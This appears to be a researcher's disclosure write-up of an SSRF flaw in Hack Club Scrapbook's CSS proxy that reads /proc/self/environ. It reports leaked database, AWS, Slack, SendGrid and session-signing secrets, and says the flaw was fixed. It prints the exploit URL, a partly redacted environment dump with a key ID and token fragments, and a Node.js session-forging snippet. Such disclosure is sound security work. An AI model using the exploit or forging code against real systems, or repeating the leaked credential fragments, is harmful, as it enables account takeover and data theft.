FN/2026/THR FIELD NOTE READ 00%
✕ ESC · CLOSE

2026.10.22 17 MIN READ DISCLOSURE CLOUD

Three Kilobytes of Production Secrets

One CSS proxy URL returned 3,376 bytes. Behind it: full database access to 20,600 student accounts, 22 AWS buckets, Slack admin tokens, and universal session forgery.

SUBMITTED
2026.10.22
UPDATED
2026.10.30
STATUS
PUBLISHED
FILE
FN/2026/THR
This is Human INDEPENDENT SECURITY RESEARCHER — AUTHOR & PUBLISHER

NOTE

TL;DR in plain English: In October 2026, an audit of Hack Club’s infrastructure uncovered an unauthenticated endpoint on scrapbook.hackclub[.]com built to proxy custom user stylesheets. By passing file:///proc/self/environ into the url parameter, the server returned its entire raw container environment in plain text.

In one 3,376-byte response, an attacker gained total administrative control across the organization: the production PostgreSQL superuser database connection exposing 20,679 student accounts, AWS IAM credentials enumerating 22 cloud storage buckets (including banking records and internal conduct reports), Slack bot and user admin tokens with profile write access, SendGrid keys to send verified emails as team@hackclub[.]com, and the application’s HMAC signing secret (TOKEN_SECRET) allowing silent session forgery for any user without a password.

All 11 findings were responsibly reported directly to Hack Club engineering leads. The endpoint was immediately killed, the database firewalled, and all production credentials rotated with zero data exfiltrated or abused.

The request looks completely ordinary until you notice the protocol.

It is an HTTP GET request sent to an endpoint called /api/css. On a social platform built for teenagers who write software, users love custom themes. You paste a link to a CSS file, and the server fetches it on your behalf so your browser does not complain about cross-origin restrictions.

Swap the URL for file:///proc/self/environ, press enter, and the server replies with 3,376 bytes of plain text.

Inside those three kilobytes sat the reality of total infrastructure compromise. It was not a partial information leak or an isolated token. It was everything: the production PostgreSQL superuser connection, credentials for twenty-two Amazon S3 storage buckets, active Slack administrator tokens, the transactional email password, and the symmetric cryptographic key that signed every session cookie on the site.

They lived in configuration, not code.

Official Hack Club Flag Emblem
Hack Club · Global non-profit youth coding community. Security finding responsibly disclosed and remediated.

The Door

The code responsible for the vulnerability was barely five lines long. Located in apps/web/pages/api/css.js, it took an incoming query parameter named url and handed it straight to the runtime’s native fetch() function:

apps/web/pages/api/css.js
export default async function handler(req, res) {
  const { url } = req.query;
  const css = await fetch(url).then((r) => r.text());
  res.setHeader('Content-Type', 'text/css');
  res.send(css);
}

There was no authentication requirement. There was no domain allow-list. Crucially, there was no scheme verification.

Modern JavaScript runtimes like Bun and Node implement the WHATWG fetch standard. When you hand fetch() a standard web URL beginning with https://, it makes an outbound network request. But when you hand it a URI beginning with file:///, the runtime helpfully reaches into the host filesystem and reads the file off the local disk.

Because the route responded with whatever fetch() returned, any unauthenticated visitor on the internet could turn the stylesheet proxy into an arbitrary local file reader.

Reading /etc/passwd took eighty milliseconds and returned the container users. Reading /etc/hostname confirmed the container ID. But on Linux systems running containerized workloads, the most dangerous pseudo-file on the entire filesystem lives under /proc/self/environ.

REPLICA — scrapbook.hackclub.com /api/css pre-patch proxy https://scrapbook[.]hackclub[.]com/api/css?url=file:///proc/self/environ apps/web/pages/api/css.js export default async function handler(req, res) { const { url } = req.query; const css = await fetch(url) .then((r) => r.text()); res.setHeader('Content-Type', 'text/css'); res.send(css); } UNVALIDATED SCHEME · ACCEPTS file:// HTTP 200 OK · 3,376 BYTES PG_DATABASE_URL=postgres://postgres:[REDACTED]@... TOKEN_SECRET=8txZ91J+uFaM2F+BCElc8peItaSV5ChoUv... SLACK_BOT_TOKEN=xoxb-2210535565-1183214108356-8WB... SLACK_ADMIN_TOKEN=xoxp-2210535565-1800008807264-7... S3_ACCESS_KEY_ID=AKIA4OCVI72O7HQBPKQU S3_SECRET_ACCESS_KEY=nSfPRkOMwhfVVbPWyU91vlIZN... SMTP_PASSWORD=SG.3FI2qdj7SdC-NaLNU5BvQg.7JKNa0I... IDENTITY_CLIENT_SECRET=9bdaf57836283be94d7668e1... MUX_TOKEN_ID=ccbeebaa-46f0-48ac-aa1c-a10f22673f71 VC_DEPLOY=https://api.vercel.com/v1/integrations... LIVE PRODUCTION RUNTIME DUMPED REPLICA · PATCHED
INERT RECONSTRUCTION · THE UNAUTHENTICATED STYLESHEET PROXY AND THE RESULTING CONTAINER ENVIRONMENT DUMP.

The Descent

When a container orchestrator starts a process, it injects configuration values into that process’s environment variables. In modern twelve-factor architectures, environment variables are where development teams place database passwords, third-party API tokens, and secret encryption keys.

Under /proc/self/environ, the Linux kernel presents these variables as a continuous stream of null-delimited key-value pairs.

When curl requested file:///proc/self/environ, the web container did not hesitate. It packaged up its own operating environment and returned it over HTTP 200:

/proc/self/environ dump (defanged & sanitized)
HOSTNAME=1a1e1ceae88b
NODE_ENV=production
PG_DATABASE_URL=postgres://postgres:[REDACTED]@5.161.100[.]52:5435/postgres
S3_ACCESS_KEY_ID=AKIA4OCVI72O7HQBPKQU
S3_SECRET_ACCESS_KEY=[REDACTED]
TOKEN_SECRET=[REDACTED]
SLACK_BOT_TOKEN=xoxb-2210535565-[REDACTED]
SLACK_ADMIN_TOKEN=xoxp-2210535565-[REDACTED]
SMTP_PASSWORD=SG.3FI2qdj7SdC-[REDACTED]
IDENTITY_CLIENT_SECRET=[REDACTED]
MUX_TOKEN_ID=ccbeebaa-46f0-48ac-aa1c-a10f22673f71
MUX_TOKEN_SECRET=[REDACTED]

Every major service underpinning the organization was laid bare in a single response.

Hack Club Scrapbook — SSRF / Environment Disclosure to Production Compromise 01 · FILE READ PRIMITIVE 02 · RAW PROCESS ENV 03 · VERIFIED LIVE CREDENTIALS UNAUTH GET /api/css?url= file:///proc/self/environ NO SCHEME ALLOW-LIST NO AUTHENTICATION CORS: ACAO: * HTTP 200 OK 3,376 BYTES DUMPED FULL RUNTIME EXPOSURE PROCESS ENVIRONMENT PG_DATABASE_URL postgres:8UHqhzsr...:5435 SLACK TOKENS (xoxb/xoxp) bot scrappy + admin tokens AWS S3 ACCESS KEYS AKIA4OCVI72O7HQBPKQU TOKEN_SECRET / OAUTH HMAC Session Signing Key 11 TOTAL CRITICAL AUDITS POSTGRESQL 20,679 USERS · 16,622 EMAILS ROLE: postgres (FULL READ ACCESS) SLACK WORKSPACE T0266FRGM · BOT + ADMIN FULL MESSAGE & CHANNEL READ/WRITE AWS CLOUD S3 IAM: scrapbook-prod 22 ORG BUCKETS ENUMERATED (11.9 GB) SESSION FORGERY BETTER-AUTH TOKEN_SECRET ARBITRARY ADMIN ACCOUNT TAKEOVER
ATTACK CHAIN FLOW · FROM AN UNVALIDATED FETCH PARAMETER TO MULTI-SERVICE PRODUCTION COMPROMISE.

To determine the actual severity without disrupting operations, each leaked credential was verified strictly through read-only, non-destructive API calls. The reach was absolute:

  1. The Production Database: PG_DATABASE_URL connected directly to PostgreSQL 15.6 at 5.161.100[.]52:5435. The role was postgres — running with rolcreaterole and rolcreatedb privileges over plaintext without SSL. It housed the entire production user directory: 20,679 user accounts, 16,622 personal email addresses, 17,734 Slack IDs, 4,105 active sessions, and 476 plaintext OAuth tokens. For a youth-centered non-profit where the vast majority of users are middle-school and high-school minors, this meant full exposure of names, communication handles, and contact records.
  2. Amazon S3 & Cloud Storage: The leaked AWS IAM keys for scrapbook-prod (AKIA4OCVI72O...) permitted s3:ListAllMyBuckets. This revealed twenty-two organization buckets, including financial archives (bank-hackclub), sensitive incident and disciplinary files (conduct-reports), private profile data (profiles-private), and internal operations docs (hcb-docs-internal), alongside 11.9 gigabytes of user uploads in scrapbook-into-the-redwoods.
  3. Slack Administrator Takeover: Three tokens authenticated into Hack Club’s primary Slack workspace (T0266FRGM). The bot token (scrappy) held scopes to read public/private channels and post files. Two xoxp user tokens impersonating real staff members carried users.profile:write and groups:history, giving complete ability to read private channels, post as trusted personnel, and alter member profiles.
  4. Verified Domain Phishing: A live SendGrid API key authorized mail.send from team@hackclub[.]com. An attacker could dispatch arbitrary, DKIM-signed emails to all 16,622 registered students from the organization’s official address with zero deliverability warnings.
  5. SSO Identity Provider: The client secret for auth.hackclub[.]com authenticated the confidential OAuth client. With PKCE disabled, intercepted authorization codes could be traded for downstream user tokens across Hack Club’s ecosystem.

The Craft

Of all the secrets disclosed in that 3,376-byte payload, the quietest and most devastating was TOKEN_SECRET.

The application used better-auth for user session management. In apps/web/lib/auth.js, the authentication handler initialized with a fallback:

apps/web/lib/auth.js
secret: process.env.BETTER_AUTH_SECRET || process.env.TOKEN_SECRET

Because BETTER_AUTH_SECRET was never defined, the authentication engine fell back to TOKEN_SECRET.

In better-auth, session cookies follow a simple structure: the session identifier followed by an HMAC-SHA256 signature calculated with the secret key:

$$\text{cookie} = \text{sessionToken} ,|, . ,|, \text{base64}(\text{HMAC}_{\text{TOKEN_SECRET}}(\text{sessionToken}))$$

When a browser makes a request, the server recomputes the HMAC signature. If the signature matches, it queries the database:

$$\text{SELECT} * \text{FROM “Session” WHERE “sessionToken” = } \dots$$

Session Forgery Mechanics — Leaked TOKEN_SECRET INPUT: LEAKED SECRETS MINTING: DETERMINISTIC HMAC OUTCOME: ARBITRARY TAKEOVER FROM /PROC/SELF TOKEN_SECRET 8txZ91J+uFaM2F+B... STATIC SYMMETRIC SIGNING KEY FROM POSTGRES Session.sessionToken 4,105 ACTIVE SESSIONS SELECT "sessionToken" FROM "Session" HMAC COMPUTATION better-call / crypto.mjs algorithm: HMAC-SHA256 sig = b64(HMAC(key, val)) cookie = encodeURIComponent `${token}.${sig}` ZERO INTEGRITY BARRIER OFFLINE SIGNATURE GENERATION STATEFUL ACCEPTANCE GET /api/auth/get-session Cookie: better-auth.session_token SERVER VERIFIES: 1. Signature == HMAC(TOKEN_SECRET) [✓] 2. DB lookup on Session table [✓] FULL SESSION HIJACK ZERO USER NOTIFICATION ALL 4,105 ACCOUNTS VULNERABLE
SESSION FORGERY MECHANICS · HOW SYMMETRIC KEY DISCLOSURE BREAKS STATEFUL AUTHENTICATION INTEGRITY.

Usually, a signature protects cookies because an attacker cannot forge the HMAC without the secret key. But holding TOKEN_SECRET and having read access to the Session table in PostgreSQL created a total authentication collapse.

An attacker could query any active student or administrator session token from the database, compute the HMAC-SHA256 signature locally with four lines of Node.js, and set the resulting cookie in their browser:

forge-session.mjs (defanged)
import crypto from 'node:crypto';
 
const sig = crypto
  .createHmac('sha256', Buffer.from(TOKEN_SECRET, 'utf8'))
  .update(Buffer.from(targetSessionToken, 'utf8'))
  .digest('base64');
 
const forgedCookie = encodeURIComponent(`${targetSessionToken}.${sig}`);

Passing that cookie to GET /api/auth/get-session returned a valid, authenticated administrator session. No password was entered. No OAuth callback was intercepted. No alert was triggered. Every account on the platform was accessible at will.

The security guarantee of the session layer had evaporated the instant the environment leaked.

The Landing

Fixing an issue of this magnitude requires a strict sequence. You cannot rotate credentials while the hole is still open, because a redeployed process will immediately leak the fresh keys.

Hack Club’s engineering team acted swiftly upon receiving the report:

  1. Immediate Containment: The /api/css endpoint was disabled, eliminating the unauthenticated file-read primitive.
  2. Key Invalidation: Every credential present in the environment was revoked and regenerated: database passwords, AWS IAM users, Slack app tokens, SendGrid API keys, and session secrets.
  3. Architecture Hardening: Ingress to the PostgreSQL database was restricted to private subnet boundaries, and subsequent versions of the CSS proxy were rewritten to strictly require an https:// scheme validated against a pinned list of trusted stylesheet CDNs.

Ten thousand young programmers learn to build software on Hack Club’s servers every week. Protecting the environments they explore is serious work.

The request looked completely ordinary until you looked at the scheme. One protocol change was all it took.

Three kilobytes. Full database access. Twenty-two cloud buckets. Total infrastructure compromise.

"Trust is the expensive part. Everything else is scripts."

वसुधैव कुटुम्बकम् — the world is one family.

THISISHUMAN® — FIELD NOTES UTC 00:00:00 — IN THE LOOP RSS — MINIMAL TELEMETRY